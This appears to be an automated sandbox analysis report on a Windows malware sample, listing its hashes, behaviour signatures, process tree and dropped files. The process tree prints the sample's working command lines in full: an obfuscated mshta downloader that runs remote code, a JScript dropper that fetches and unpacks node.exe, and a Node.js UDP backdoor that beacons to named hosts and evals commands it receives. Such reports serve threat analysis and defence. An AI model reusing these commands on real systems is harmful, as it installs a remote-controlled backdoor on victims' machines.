Analysis
-
max time kernel
148s -
max time network
177s -
platform
windows7_x64 -
resource
win7v20210410 -
submitted
20-07-2021 08:09
Static task
static1
Behavioral task
behavioral1
Sample
usfive_20210720-060205.exe
Resource
win7v20210410
General
-
Target
usfive_20210720-060205.exe
-
Size
3KB
-
MD5
463127c9a2b5eb1bca799aced10e4954
-
SHA1
df78c1cca98d6f260f744a2b0639e1fff1c11a5e
-
SHA256
863c612734f5ff0ff0ea3fed7fd790dfb43c47eecdc1417bcd82c0ad866419af
-
SHA512
86c01a90941ad53e7d5c77b64c249bb0b4a69d9cc0f3e3971813464312a80ef6b06caef24cec9e9e194a25f0e667eafb445acbe9ce220830e4681312b498d9a4
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
Processes:
mshta.execscript.exeflow pid process 3 1136 mshta.exe 4 1960 cscript.exe -
Executes dropped EXE 1 IoCs
Processes:
node.exepid process 1604 node.exe -
Loads dropped DLL 1 IoCs
Processes:
cscript.exepid process 600 cscript.exe -
Modifies file permissions 1 TTPs 1 IoCs
-
Drops file in Windows directory 2 IoCs
Processes:
expand.exedescription ioc process File opened for modification C:\Windows\Logs\DPX\setupact.log expand.exe File opened for modification C:\Windows\Logs\DPX\setuperr.log expand.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
Processes:
node.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1 node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\~MHz node.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\1\ProcessorNameString node.exe Key opened \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 node.exe -
Enumerates processes with tasklist 1 TTPs 1 IoCs
-
Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
Processes:
ipconfig.exenetstat.exepid process 1960 ipconfig.exe 1864 netstat.exe -
Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
-
NTFS ADS 2 IoCs
Processes:
node.exedescription ioc process File created C:\Users\Admin\AppData\Local\Temp\7fc682884c52eb23:ads node.exe File created C:\ProgramData\DNTException\node.exe:bc26d0b6021b066818648ac2400f5f11 node.exe -
Script User-Agent 2 IoCs
Uses user-agent string associated with script host/environment.
Processes:
description flow ioc HTTP User-Agent header 3 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) HTTP User-Agent header 4 Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) -
Suspicious behavior: EnumeratesProcesses 2 IoCs
Processes:
node.exepid process 1604 node.exe 1604 node.exe -
Suspicious use of AdjustPrivilegeToken 42 IoCs
Processes:
tasklist.exewmic.exenetstat.exedescription pid process Token: SeDebugPrivilege 1940 tasklist.exe Token: SeIncreaseQuotaPrivilege 1788 wmic.exe Token: SeSecurityPrivilege 1788 wmic.exe Token: SeTakeOwnershipPrivilege 1788 wmic.exe Token: SeLoadDriverPrivilege 1788 wmic.exe Token: SeSystemProfilePrivilege 1788 wmic.exe Token: SeSystemtimePrivilege 1788 wmic.exe Token: SeProfSingleProcessPrivilege 1788 wmic.exe Token: SeIncBasePriorityPrivilege 1788 wmic.exe Token: SeCreatePagefilePrivilege 1788 wmic.exe Token: SeBackupPrivilege 1788 wmic.exe Token: SeRestorePrivilege 1788 wmic.exe Token: SeShutdownPrivilege 1788 wmic.exe Token: SeDebugPrivilege 1788 wmic.exe Token: SeSystemEnvironmentPrivilege 1788 wmic.exe Token: SeRemoteShutdownPrivilege 1788 wmic.exe Token: SeUndockPrivilege 1788 wmic.exe Token: SeManageVolumePrivilege 1788 wmic.exe Token: 33 1788 wmic.exe Token: 34 1788 wmic.exe Token: 35 1788 wmic.exe Token: SeIncreaseQuotaPrivilege 1788 wmic.exe Token: SeSecurityPrivilege 1788 wmic.exe Token: SeTakeOwnershipPrivilege 1788 wmic.exe Token: SeLoadDriverPrivilege 1788 wmic.exe Token: SeSystemProfilePrivilege 1788 wmic.exe Token: SeSystemtimePrivilege 1788 wmic.exe Token: SeProfSingleProcessPrivilege 1788 wmic.exe Token: SeIncBasePriorityPrivilege 1788 wmic.exe Token: SeCreatePagefilePrivilege 1788 wmic.exe Token: SeBackupPrivilege 1788 wmic.exe Token: SeRestorePrivilege 1788 wmic.exe Token: SeShutdownPrivilege 1788 wmic.exe Token: SeDebugPrivilege 1788 wmic.exe Token: SeSystemEnvironmentPrivilege 1788 wmic.exe Token: SeRemoteShutdownPrivilege 1788 wmic.exe Token: SeUndockPrivilege 1788 wmic.exe Token: SeManageVolumePrivilege 1788 wmic.exe Token: 33 1788 wmic.exe Token: 34 1788 wmic.exe Token: 35 1788 wmic.exe Token: SeDebugPrivilege 1864 netstat.exe -
Suspicious use of WriteProcessMemory 64 IoCs
Processes:
usfive_20210720-060205.exemshta.execmd.execscript.exenode.exedescription pid process target process PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe mshta.exe PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe mshta.exe PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe mshta.exe PID 1716 wrote to memory of 1136 1716 usfive_20210720-060205.exe mshta.exe PID 1136 wrote to memory of 1520 1136 mshta.exe cmd.exe PID 1136 wrote to memory of 1520 1136 mshta.exe cmd.exe PID 1136 wrote to memory of 1520 1136 mshta.exe cmd.exe PID 1136 wrote to memory of 1520 1136 mshta.exe cmd.exe PID 1520 wrote to memory of 1960 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 1960 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 1960 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 1960 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 304 1520 cmd.exe expand.exe PID 1520 wrote to memory of 304 1520 cmd.exe expand.exe PID 1520 wrote to memory of 304 1520 cmd.exe expand.exe PID 1520 wrote to memory of 304 1520 cmd.exe expand.exe PID 1520 wrote to memory of 600 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 600 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 600 1520 cmd.exe cscript.exe PID 1520 wrote to memory of 600 1520 cmd.exe cscript.exe PID 600 wrote to memory of 1604 600 cscript.exe node.exe PID 600 wrote to memory of 1604 600 cscript.exe node.exe PID 600 wrote to memory of 1604 600 cscript.exe node.exe PID 600 wrote to memory of 1604 600 cscript.exe node.exe PID 1604 wrote to memory of 1664 1604 node.exe cmd.exe PID 1604 wrote to memory of 1664 1604 node.exe cmd.exe PID 1604 wrote to memory of 1664 1604 node.exe cmd.exe PID 1604 wrote to memory of 1664 1604 node.exe cmd.exe PID 1604 wrote to memory of 1684 1604 node.exe cacls.exe PID 1604 wrote to memory of 1684 1604 node.exe cacls.exe PID 1604 wrote to memory of 1684 1604 node.exe cacls.exe PID 1604 wrote to memory of 1684 1604 node.exe cacls.exe PID 1604 wrote to memory of 1688 1604 node.exe icacls.exe PID 1604 wrote to memory of 1688 1604 node.exe icacls.exe PID 1604 wrote to memory of 1688 1604 node.exe icacls.exe PID 1604 wrote to memory of 1688 1604 node.exe icacls.exe PID 1604 wrote to memory of 1084 1604 node.exe attrib.exe PID 1604 wrote to memory of 1084 1604 node.exe attrib.exe PID 1604 wrote to memory of 1084 1604 node.exe attrib.exe PID 1604 wrote to memory of 1084 1604 node.exe attrib.exe PID 1604 wrote to memory of 1880 1604 node.exe attrib.exe PID 1604 wrote to memory of 1880 1604 node.exe attrib.exe PID 1604 wrote to memory of 1880 1604 node.exe attrib.exe PID 1604 wrote to memory of 1880 1604 node.exe attrib.exe PID 1604 wrote to memory of 1940 1604 node.exe tasklist.exe PID 1604 wrote to memory of 1940 1604 node.exe tasklist.exe PID 1604 wrote to memory of 1940 1604 node.exe tasklist.exe PID 1604 wrote to memory of 1940 1604 node.exe tasklist.exe PID 1604 wrote to memory of 1788 1604 node.exe wmic.exe PID 1604 wrote to memory of 1788 1604 node.exe wmic.exe PID 1604 wrote to memory of 1788 1604 node.exe wmic.exe PID 1604 wrote to memory of 1788 1604 node.exe wmic.exe PID 1604 wrote to memory of 1960 1604 node.exe ipconfig.exe PID 1604 wrote to memory of 1960 1604 node.exe ipconfig.exe PID 1604 wrote to memory of 1960 1604 node.exe ipconfig.exe PID 1604 wrote to memory of 1960 1604 node.exe ipconfig.exe PID 1604 wrote to memory of 656 1604 node.exe route.exe PID 1604 wrote to memory of 656 1604 node.exe route.exe PID 1604 wrote to memory of 656 1604 node.exe route.exe PID 1604 wrote to memory of 656 1604 node.exe route.exe PID 1604 wrote to memory of 1864 1604 node.exe netstat.exe PID 1604 wrote to memory of 1864 1604 node.exe netstat.exe PID 1604 wrote to memory of 1864 1604 node.exe netstat.exe PID 1604 wrote to memory of 1864 1604 node.exe netstat.exe -
Views/modifies file attributes 1 TTPs 2 IoCs
Processes:
attrib.exeattrib.exepid process 1084 attrib.exe 1880 attrib.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"C:\Users\Admin\AppData\Local\Temp\usfive_20210720-060205.exe"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exemshta "javascript:document.write();0;y=unescape('%318%36%7E%68t%74p%3A%2F%2Fa%73u%302%2Es%68o%70%2F%68r%69%2F%3F2%31a%36e%34b%7E1%304').split('~');182;try{x='WinHttp';5;x=new ActiveXObject(x+'.'+x+'Request.5.1');141;x.open('GET',y[1]+'&a='+escape(window.navigator.userAgent),!1);238;x.send();115;y='ipt.S';143;new ActiveXObject('WScr'+y+'hell').Run(unescape(unescape(x.responseText)),0,!2);27;}catch(e){};167;;window.close();"2⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /d/s/c cd /d "C:\ProgramData" & mkdir "DNTException" & cd "DNTException" & dir /a node.exe || ( echo x=new ActiveXObject("WinHttp.WinHttpRequest.5.1"^);x.Open("GET",unescape(WScript.Arguments(0^)^),false^);x.Send(^);b=new ActiveXObject("ADODB.Stream"^);b.Type=1;b.Open(^);b.Write(x.ResponseBody^);b.SaveToFile(WScript.Arguments(1^),2^); > get1626768640923.txt & cscript /nologo /e:jscript get1626768640923.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F23501ffe7%26b%3D5332dd77" node.cab & expand node.cab node.exe & del get1626768640923.txt node.cab ) & echo new ActiveXObject("WScript.Shell").Run(WScript.Arguments(0),0,false); > get1626768640923.txt & cscript /nologo /e:jscript get1626768640923.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273501ffe7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))" & del get1626768640923.txt3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768640923.txt "http%3A%2F%2Fasu02.shop%2Fhri%2F%3F23501ffe7%26b%3D5332dd77" node.cab4⤵
- Blocklisted process makes network request
-
C:\Windows\SysWOW64\expand.exeexpand node.cab node.exe4⤵
- Drops file in Windows directory
-
C:\Windows\SysWOW64\cscript.execscript /nologo /e:jscript get1626768640923.txt "node -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273501ffe7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))"4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\ProgramData\DNTException\node.exe"C:\ProgramData\DNTException\node.exe" -e eval(unescape('s=require(%27dgram%27).createSocket(%27udp4%27);s.on(%27error%27,function(e){});s.i=%273501ffe7%27;function%20f(b){if(!b)b=new%20Buffer(%27p%27);s.send(b,0,b.length,19584,%27asu00.xyz%27);s.send(b,0,b.length,19584,%27lu0.viewdns.net%27)};f();s.t=setInterval(f,10000);s.on(%27message%27,function(m,r){try{if(!m[0])return%20s.c(m.slice(1),r);for(var%20a=1;a<m.length;a++)m[a]^=a^m[0]^134;m[0]=32;eval(m.toString())}catch(e){}})'))5⤵
- Executes dropped EXE
- Checks processor information in registry
- NTFS ADS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\cmd.execmd.exe /c dir C:\6⤵
-
C:\Windows\SysWOW64\cacls.execacls.exe C:\ProgramData\DNTException /t /e /c /g Everyone:F6⤵
-
C:\Windows\SysWOW64\icacls.exeicacls.exe C:\ProgramData\DNTException /t /c /grant *S-1-1-0:(f)6⤵
- Modifies file permissions
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\attrib.exeattrib.exe +H C:\ProgramData\DNTException\node.exe6⤵
- Views/modifies file attributes
-
C:\Windows\SysWOW64\tasklist.exetasklist /fo csv /nh6⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\Wbem\wmic.exewmic process get processid,parentprocessid,name,executablepath /format:csv6⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\ipconfig.exeipconfig.exe /all6⤵
- Gathers network information
-
C:\Windows\SysWOW64\route.exeroute.exe print6⤵
-
C:\Windows\SysWOW64\netstat.exenetstat.exe -ano6⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SysWOW64\systeminfo.exesysteminfo.exe /fo csv6⤵
- Gathers system information
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\ProgramData\DNTException\get1626768640923.txtMD5
52ec5ebd8a447b5115ce83e703bcde51
SHA138ce97f87c6be668d07985558fc89c53e27770a3
SHA256ef1be6a77e480e683331052654d3db47a02fe4b7af3e35e67b9248e989307615
SHA5129af71d426564ef92ff6de1d89107161c138bbdd9dc08b5e380a0b94e7b2e91ec4d498a1d8f4514552a45bf14a8f9078dc295aa1cb86cfc063427ad218e9d5f32
-
C:\ProgramData\DNTException\get1626768640923.txtMD5
e15f82747d0884d61a5bc4fb2db7d29d
SHA1aca478622586f17603fe56705fd319b75198b2b0
SHA256982675d0465497986b3ece89f08f81a4629d975617671153e0ca653f2589966f
SHA512d8c17e54cbefa72191c238f23d619a4637fd74c8c8b9975071bf5507c5a34259495cd20e516c7f7f0c215ec4f724b22de88b8a5ea43765c019eb067600cf661d
-
C:\ProgramData\DNTException\node.cabMD5
c7ed3d9304a29c8b472174bd910be071
SHA122b7d55b80acd434c13b0a2d8c59b45c10220a42
SHA256abbaffb1b56bd3c5db5aedf4bdc0794d82bedba43677d13cd1056cb5412b3441
SHA512c65c80564019ae54145a939f9ed463895c337f020cbd769647dc6baf8db5db283a5e151c2ae4f10681d23db161d791ce59c395d8ebba603a27a2a6be0368a1a2
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
C:\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
\ProgramData\DNTException\node.exeMD5
11f0b4e17e686cdc46f85a6becede4a8
SHA12826f7ac33b43439ecddd08ad541a7f54a9eb7c0
SHA2566a6ce9cbc42560a1d0ed9c04dcdcb84127f0c2e90d4850fd0e3003b31549795c
SHA51211a321cc6685f854544a5228ae27cf311cf7ccc534be5255b4a6e6976c3d3c6ebe9d0873f8af0ad409d7893ea616754ebbf917e561d84bc22e81e030af4d084f
-
memory/304-64-0x0000000000000000-mapping.dmp
-
memory/600-66-0x0000000000000000-mapping.dmp
-
memory/656-88-0x0000000000000000-mapping.dmp
-
memory/1052-90-0x0000000000000000-mapping.dmp
-
memory/1084-82-0x0000000000000000-mapping.dmp
-
memory/1136-59-0x0000000000000000-mapping.dmp
-
memory/1520-60-0x0000000000000000-mapping.dmp
-
memory/1604-78-0x000000001FC00000-0x000000001FC01000-memory.dmpFilesize
4KB
-
memory/1604-71-0x0000000000000000-mapping.dmp
-
memory/1604-77-0x0000000016B00000-0x0000000016B01000-memory.dmpFilesize
4KB
-
memory/1604-75-0x0000000035900000-0x0000000035901000-memory.dmpFilesize
4KB
-
memory/1604-74-0x000000003C000000-0x000000003C001000-memory.dmpFilesize
4KB
-
memory/1604-73-0x0000000025900000-0x0000000025901000-memory.dmpFilesize
4KB
-
memory/1604-76-0x0000000004B00000-0x0000000004B01000-memory.dmpFilesize
4KB
-
memory/1664-79-0x0000000000000000-mapping.dmp
-
memory/1684-80-0x0000000000000000-mapping.dmp
-
memory/1688-81-0x0000000000000000-mapping.dmp
-
memory/1788-85-0x0000000000000000-mapping.dmp
-
memory/1864-89-0x0000000000000000-mapping.dmp
-
memory/1880-83-0x0000000000000000-mapping.dmp
-
memory/1940-84-0x0000000000000000-mapping.dmp
-
memory/1960-86-0x0000000000000000-mapping.dmp
-
memory/1960-63-0x0000000075161000-0x0000000075163000-memory.dmpFilesize
8KB
-
memory/1960-61-0x0000000000000000-mapping.dmp